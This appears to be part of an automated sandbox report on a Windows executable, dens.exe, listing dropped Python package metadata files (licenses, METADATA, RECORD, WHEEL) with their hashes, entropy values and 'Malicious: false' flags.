SHA-256:	9A0B8C95618C5FE5479CCA4A3A38D089D228D6CB1194216EE1AE26069CF5B363
SHA-512:	A0063220ECDD22C3E735ACFF6DE559ACF3AC4C37B81D37633975A22A28B026F1935CD1957C0FF7D2ECC8B7F83F250310795EECC5273B893FFAB115098F7B9C38
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: setuptools (70.1.1).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.536886723742169
Encrypted:	false
SSDEEP:	3:JSej0EBERG:50o4G
MD5:	A24465F7850BA59507BF86D89165525C
SHA1:	4E61F9264DE74783B5924249BCFE1B06F178B9AD
SHA-256:	08EDDF0FDCB29403625E4ACCA38A872D5FE6A972F6B02E4914A82DD725804FE0
SHA-512:	ECF1F6B777970F5257BDDD353305447083008CEBD8E5A27C3D1DA9C7BDC3F9BF3ABD6881265906D6D5E11992653185C04A522F4DB5655FF75EEDB766F93D5D48
Malicious:	false
Preview:	importlib_metadata.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_resources-6.4.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_resources-6.4.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11358
Entropy (8bit):	4.4267168336581415
Encrypted:	false
SSDEEP:	192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEn7HbHR:U9vlKM1zJlFvmNz5VrlkTS07Ht
MD5:	3B83EF96387F14655FC854DDC3C6BD57
SHA1:	2B8B815229AA8A61E483FB4BA0588B8B6C491890
SHA-256:	CFC7749B96F63BD31C3C42B5C471BF756814053E847C10F3EB003417BC523D30
SHA-512:	98F6B79B778F7B0A15415BD750C3A8A097D650511CB4EC8115188E115C47053FE700F578895C097051C9BC3DFB6197C2B13A15DE203273E1A3218884F86E90E8
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_resources-6.4.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3944
Entropy (8bit):	5.015824473130961
Encrypted:	false
SSDEEP:	96:DHxQuiTaCP1nTGDbHRbnzQWHaiQq+fT5lWp8sSwTW:2PP9GDbHRbnp+rapPSwTW
MD5:	C3EB48CD13B50DDED7CD524E1E9DD4CE
SHA1:	7C9B0B50D0E667825DAB09902AD8376A5F2945B6
SHA-256:	83878CD8BB8BD0E89971454D0F4AB00C9529136F603AFB4EDC148F5D36CEF459
SHA-512:	056EBC250B7E82F91B5C5E96B1293F24D5E917E06846A9716A4D05B47C30FEB3781E439C77876CF7D8620BEBAA4A253039CA8DF122283DE304992E340F4DE8BF
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: importlib_resources.Version: 6.4.0.Summary: Read resources from Python packages.Home-page: https://github.com/python/importlib_resources.Author: Barry Warsaw.Author-email: barry@python.org.Project-URL: Documentation, https://importlib-resources.readthedocs.io/.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.License-File: LICENSE.Requires-Dist: zipp >=3.1.0 ; python_version < "3.10".Provides-Extra: docs.Requires-Dist: sphinx >=3.5 ; extra == 'docs'.Requires-Dist: sphinx <7.2.5 ; extra == 'docs'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'docs'.Requires-Dist: rst.linker >=1.9 ; extra == 'docs'.Requires-Dist: furo ; extra == 'docs'.Requires-Dist: sphinx-lint ; extra == 'docs'.Requires-Dist: jaraco.tidelift >=1.4 ; ext

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_resources-6.4.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	7620
Entropy (8bit):	5.560551717923108
Encrypted:	false
SSDEEP:	192:lX7qdX7ZgsP7JtILSVAn5V26+XuVYmBXx:lX7wX7ZBP7ELSVAni6+iBh
MD5:	67F5E26385B6BDCF2236A005A2D2BA32
SHA1:	3DCD8685638A90D121FD484138AFCAC9775E5D66
SHA-256:	967DD56FEEA143F1D2C4E98AC1F937C055E61C9AA0425146D55F7AD7C82510FA
SHA-512:	30B5812E930A00A476E570EBCC4611D54C911A8B1E4646949A887F551FC5ABDC933311A554B197C602F0DA7626DFE8877A3F267EFBC6D724E24A3E9B5FCC2E30
Malicious:	false
Preview:	importlib_resources-6.4.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..importlib_resources-6.4.0.dist-info/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358..importlib_resources-6.4.0.dist-info/METADATA,sha256=g4eM2LuL0OiZcUVND0qwDJUpE29gOvtO3BSPXTbO9Fk,3944..importlib_resources-6.4.0.dist-info/RECORD,,..importlib_resources-6.4.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..importlib_resources-6.4.0.dist-info/WHEEL,sha256=GJ7t_kWBFywbagK5eo9IoUwLW6oyOeTKmQ-9iHFVNxQ,92..importlib_resources-6.4.0.dist-info/top_level.txt,sha256=fHIjHU1GZwAjvcydpmUnUrTnbvdiWjG4OEVZK8by0TQ,20..importlib_resources/__init__.py,sha256=uyp1kzYR6SawQBsqlyaXXfIxJx4Z2mM8MjmZn8qq2Gk,505..importlib_resources/__pycache__/__init__.cpython-312.pyc,,..importlib_resources/__pycache__/_adapters.cpython-312.pyc,,..importlib_resources/__pycache__/_common.cpython-312.pyc,,..importlib_resources/__pycache__/_itertools.cpython-312.pyc,,..importlib_resource

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_resources-6.4.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.812622295095324
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlFxP+tPCCfA5S:RtBMwlVTxWBBf
MD5:	43136DDE7DD276932F6197BB6D676EF4
SHA1:	6B13C105452C519EA0B65AC1A975BD5E19C50122
SHA-256:	189EEDFE4581172C1B6A02B97A8F48A14C0B5BAA3239E4CA990FBD8871553714
SHA-512:	E7712BA7D36DEB083EBCC3B641AD3E7D19FB071EE64AE3A35AD6A50EE882B20CD2E60CA1319199DF12584FE311A6266EC74F96A3FB67E59F90C7B5909668AEE1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.43.0).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_resources-6.4.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.6841837197791887
Encrypted:	false
SSDEEP:	3:JSe8AW6D:3fD
MD5:	0613840F692BD9E064FEDD915DFD477A
SHA1:	64DF38B36F541BA1714C15FCA1A9CA8C94EF2DAA
SHA-256:	7C72231D4D46670023BDCC9DA6652752B4E76EF7625A31B83845592BC6F2D134
SHA-512:	78AA888C24B3468C94FCB8EB882561D4B6F19A0537A4CFDDDFF94ED8A4BAFE8DF0C2B620E70B57A61E8BA3F877856DB9ADA548DFCA8CAE86D4C3C525A4E9B7EB
Malicious:	false
Preview:	importlib_resources.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1023
Entropy (8bit):	5.059832621894572
Encrypted:	false
SSDEEP:	24:OrmJHcwH0MP3gt8Hw1hj9QHOsUv4eOk4/+/m3oqMSFJ:OaJ8YHvEH5QHOs5exm3oEFJ
MD5:	141643E11C48898150DAA83802DBC65F
SHA1:	0445ED0F69910EEAEE036F09A39A13C6E1F37E12
SHA-256:	86DA0F01AEAE46348A3C3D465195DC1CECCDE79F79E87769A64B8DA04B2A4741
SHA-512:	EF62311602B466397BAF0B23CACA66114F8838F9E78E1B067787CEB709D09E0530E85A47BBCD4C5A0905B74FDB30DF0CC640910C6CC2E67886E5B18794A3583F
Malicious:	false
Preview:	Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to.deal in the Software without restriction, including without limitation the.rights to use, copy, modify, merge, publish, distribute, sublicense, and/or.sell copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEA

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21079
Entropy (8bit):	5.103530371859935
Encrypted:	false
SSDEEP:	384:12Vpnu38/2K9tjUaNtT/yTCtYTnWDdg3GaXb51KLVgWTVPeEGsuPrAESM:12Vpnu38JZtT/yIdg3D51KLV7RPeEGs+
MD5:	1A287FAF08B125BC7C932AAD05E7DAEE
SHA1:	C37042ADC0D1270485F4B8B5B9E085A274DC035B
SHA-256:	66030D634580651B3E53CC19895D9231F8D22AA06B327817C8332CFC20303308
SHA-512:	D0BB0AD27A17007DF7D3281FB2F46EFB048B69532D082AB1D431E0BA28E592D897687708B4EC972F4BC21EDA29DDDDC9EF44BB950DFC4FFB03EA75CDA4DE414C
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: inflect.Version: 7.3.1.Summary: Correctly generate plurals, singular nouns, ordinals, indefinite articles.Author-email: Paul Dyson <pwdyson@yahoo.com>.Maintainer-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Source, https://github.com/jaraco/inflect.Keywords: plural,inflect,participle.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Natural Language :: English.Classifier: Operating System :: OS Independent.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Classifier: Topic :: Text Processing :: Linguistic.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Requires-Dist: more-itertools >=8.5.0.Requires-Dist: typeguard >=4.0.1.Requires-Dist: typing-extensions ; python_version < "3.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	943
Entropy (8bit):	5.828988691860191
Encrypted:	false
SSDEEP:	24:IVn/2zDPvbqfuIpBntmuIcjlM+sVGXdbkDcnJopDvDK16bZWJV:unuXPzUuIpRtmuZjl9sVQgcnJo9bK16E
MD5:	C837BB3258448B7FCC6B77559C7F17B6
SHA1:	B15701449CD64A13756A70AD3704E26DB1FF416B
SHA-256:	5D7834AC1BA2612C6801050FDE57A7B98B0F36ACF88C3C2D4F376FD8911B3091
SHA-512:	2333CD86502C51607414390ECF43BD6D62E863D3DFB0501DAD3A8B45F5F4DFA81F910917183FC4F4A0DEEC82C8F8B3CF8D5B0A2C136DEB164226BABE68B74A33
Malicious:	false
Preview:	inflect-7.3.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..inflect-7.3.1.dist-info/LICENSE,sha256=htoPAa6uRjSKPD1GUZXcHOzN55956HdppkuNoEsqR0E,1023..inflect-7.3.1.dist-info/METADATA,sha256=ZgMNY0WAZRs-U8wZiV2SMfjSKqBrMngXyDMs_CAwMwg,21079..inflect-7.3.1.dist-info/RECORD,,..inflect-7.3.1.dist-info/WHEEL,sha256=y4mX-SOX4fYIkonsAGA5N0Oy-8_gI4FXw5HNI1xqvWg,91..inflect-7.3.1.dist-info/top_level.txt,sha256=m52ujdp10CqT6jh1XQxZT6kEntcnv-7Tl7UiGNTzWZA,8..inflect/__init__.py,sha256=Jxy1HJXZiZ85kHeLAhkmvz6EMTdFqBe-duvt34R6IOc,103796..inflect/__pycache__/__init__.cpython-312.pyc,,..inflect/compat/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..inflect/compat/__pycache__/__init__.cpython-312.pyc,,..inflect/compat/__pycache__/py38.cpython-312.pyc,,..inflect/compat/py38.py,sha256=oObVfVnWX9_OpnOuEJn1mFbJxVhwyR5epbiTNXDDaso,160..inflect/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	91
Entropy (8bit):	4.7098485981676825
Encrypted:	false
SSDEEP:	3:RtEeXMRYFAVLKSgP+tPCCfA5S:RtC1VLKZWBBf
MD5:	EB46A94D39AC40E2EEA4A32729E0C8C3
SHA1:	E42EF49A7098269E1934932ECC3174B40967982A
SHA-256:	CB8997F92397E1F6089289EC0060393743B2FBCFE0238157C391CD235C6ABD68
SHA-512:	D89F0DA16AA37AAFAC0DE56A3DFBD72DC3C9DCC53C8E455094E7230DB21ABF95ED76EAC1848A4156DB422B9C10BE136201D871DCCB73AD38192E5536E41DBDFE
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: setuptools (70.2.0).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\inflect-7.3.1.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:KDpJ:K9J
MD5:	4571281D24750CBE7638EFE250E342AB
SHA1:	61E8A0AD5796F1CA67EAB0D8108A6402483D499B
SHA-256:	9B9DAE8DDA75D02A93EA38755D0C594FA9049ED727BFEED397B52218D4F35990
SHA-512:	E7807002E53CC228D6EFB307E928C6737796B29E31D25A342ED407F556FFBF540494FE92C27B5C31043D2D7FF427C78A29C4FF5595BC11BB643003026642254E
Malicious:	false
Preview:	inflect.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.context-5.3.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.context-5.3.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1023
Entropy (8bit):	5.059832621894572
Encrypted:	false
SSDEEP:	24:OrmJHcwH0MP3gt8Hw1hj9QHOsUv4eOk4/+/m3oqMSFJ:OaJ8YHvEH5QHOs5exm3oEFJ
MD5:	141643E11C48898150DAA83802DBC65F
SHA1:	0445ED0F69910EEAEE036F09A39A13C6E1F37E12
SHA-256:	86DA0F01AEAE46348A3C3D465195DC1CECCDE79F79E87769A64B8DA04B2A4741
SHA-512:	EF62311602B466397BAF0B23CACA66114F8838F9E78E1B067787CEB709D09E0530E85A47BBCD4C5A0905B74FDB30DF0CC640910C6CC2E67886E5B18794A3583F
Malicious:	false
Preview:	Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to.deal in the Software without restriction, including without limitation the.rights to use, copy, modify, merge, publish, distribute, sublicense, and/or.sell copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEA

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.context-5.3.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (406)
Category:	dropped
Size (bytes):	4020
Entropy (8bit):	4.99859161164956
Encrypted:	false
SSDEEP:	96:D6P4YaCP1gGRbHneRohWYc+f/PCnG9rulJQ84UNxCUSwTcL:kPqGRbHneRohWJ+XPaqylW/USwTcL
MD5:	812F27A7C8C748351DC1643D58B6B250
SHA1:	AC9C92013B2F0FC65D741B32A9FE4B956DD6EB7D
SHA-256:	C43B60B897A3D2D37D8845C252FC44261D9AEF171E21154111A9012D2AFFFED6
SHA-512:	CAC62C3682F808D85233B69F1C142B5A0E95E316E4BDCBC6EE253583EC302FA42E635BAB6A837327D8CE5D26C08C8DCD9E45D5CFDD8346B4501C473250D66953
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: jaraco.context.Version: 5.3.0.Summary: Useful decorators and context managers.Home-page: https://github.com/jaraco/jaraco.context.Author: Jason R. Coombs.Author-email: jaraco@jaraco.com.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.License-File: LICENSE.Requires-Dist: backports.tarfile ; python_version < "3.12".Provides-Extra: docs.Requires-Dist: sphinx >=3.5 ; extra == 'docs'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'docs'.Requires-Dist: rst.linker >=1.9 ; extra == 'docs'.Requires-Dist: furo ; extra == 'docs'.Requires-Dist: sphinx-lint ; extra == 'docs'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'docs'.Provides-Extra: testing.Requires-Dist: pytest !=8.1.1,>=6 ; extra == 'testing'.Requires-Dist: pytest-checkdocs >=2.4

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.context-5.3.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	641
Entropy (8bit):	5.76835538630355
Encrypted:	false
SSDEEP:	12:TGA0a/2zDJAv/TnqfQlWJAL/fy9vKAGvAXCaaryBAl2VrkEQCXvbAT2r1S:TBn/2zDCvbqfuLO9FGoXamalKSCXzB1S
MD5:	2B0A77624AE3903E42C3A8213E593796
SHA1:	D63027FF018995D0620E2497BCE9678888A57667
SHA-256:	55197B88A78443297BB2D827A75BAAE740B33896251D872835D4B4C75EC2F57E
SHA-512:	C02FB1554F8F40158BB60F2B4EC07D80F71CFBFFB38463C5809385A7A2FF8DDB2BDFEFE9AE5E67F4DEC3D904A6E0925E565B0EE6363DD0C2ED5B03A96B056B18
Malicious:	false
Preview:	jaraco.context-5.3.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..jaraco.context-5.3.0.dist-info/LICENSE,sha256=htoPAa6uRjSKPD1GUZXcHOzN55956HdppkuNoEsqR0E,1023..jaraco.context-5.3.0.dist-info/METADATA,sha256=xDtguJej0tN9iEXCUvxEJh2a7xceIRVBEakBLSr__tY,4020..jaraco.context-5.3.0.dist-info/RECORD,,..jaraco.context-5.3.0.dist-info/WHEEL,sha256=GJ7t_kWBFywbagK5eo9IoUwLW6oyOeTKmQ-9iHFVNxQ,92..jaraco.context-5.3.0.dist-info/top_level.txt,sha256=0JnN3LfXH4LIRfXL-QFOGCJzQWZO3ELx4R1d_louoQM,7..jaraco/__pycache__/context.cpython-312.pyc,,..jaraco/context.py,sha256=REoLIxDkO5MfEYowt_WoupNCRoxBS5v7YX2PbW8lIcs,9552..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.context-5.3.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.812622295095324
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlFxP+tPCCfA5S:RtBMwlVTxWBBf
MD5:	43136DDE7DD276932F6197BB6D676EF4
SHA1:	6B13C105452C519EA0B65AC1A975BD5E19C50122
SHA-256:	189EEDFE4581172C1B6A02B97A8F48A14C0B5BAA3239E4CA990FBD8871553714
SHA-512:	E7712BA7D36DEB083EBCC3B641AD3E7D19FB071EE64AE3A35AD6A50EE882B20CD2E60CA1319199DF12584FE311A6266EC74F96A3FB67E59F90C7B5909668AEE1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.43.0).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.context-5.3.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.5216406363433186
Encrypted:	false
SSDEEP:	3:GEG0:GEG0
MD5:	0BA8D736B7B4AB182687318B0497E61E
SHA1:	311BA5FFD098689179F299EF20768EE1A29F586D
SHA-256:	D099CDDCB7D71F82C845F5CBF9014E18227341664EDC42F1E11D5DFE5A2EA103
SHA-512:	7CCCBB4AFA2FADE40D529482301BEAE152E0C71EE3CC41736EB19E35CFC5EE3B91EF958CF5CA6B7330333B8494FEB6682FD833D5AA16BF4A8F1F721FD859832C
Malicious:	false
Preview:	jaraco.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.functools-4.0.1.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.functools-4.0.1.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1023
Entropy (8bit):	5.059832621894572
Encrypted:	false
SSDEEP:	24:OrmJHcwH0MP3gt8Hw1hj9QHOsUv4eOk4/+/m3oqMSFJ:OaJ8YHvEH5QHOs5exm3oEFJ
MD5:	141643E11C48898150DAA83802DBC65F
SHA1:	0445ED0F69910EEAEE036F09A39A13C6E1F37E12
SHA-256:	86DA0F01AEAE46348A3C3D465195DC1CECCDE79F79E87769A64B8DA04B2A4741
SHA-512:	EF62311602B466397BAF0B23CACA66114F8838F9E78E1B067787CEB709D09E0530E85A47BBCD4C5A0905B74FDB30DF0CC640910C6CC2E67886E5B18794A3583F
Malicious:	false
Preview:	Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to.deal in the Software without restriction, including without limitation the.rights to use, copy, modify, merge, publish, distribute, sublicense, and/or.sell copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEA

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.functools-4.0.1.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2891
Entropy (8bit):	5.034580807599395
Encrypted:	false
SSDEEP:	48:DEmbsaC3J1x9Ie9okNGwQw8wQw2wTw0zCPU0+I65Jib0H++kv0gM5d0DT+heU04u:DEmgaCZ1nTGDbHRAnzpI6o+fX5dFSwTm
MD5:	C2E6BDA7F1B03B39BF42D31B6DBF6C38
SHA1:	B7A18F079DE22D10C4C318E54BD8C48177F91333
SHA-256:	8B86946900D7FA38DD1102B9C1EBE17A0CB1F09C8B7E29F61F2BDA4A4DC51ECA
SHA-512:	F4E892B3D41482E3B17642B1D722B6E2A8E8DD4833F0623C29ED2D50D55CFC68DA1F9756B4E08723DC89F3E552424096C92912AC4DA533FE8E2DC59DC19EA9CF
Malicious:	false
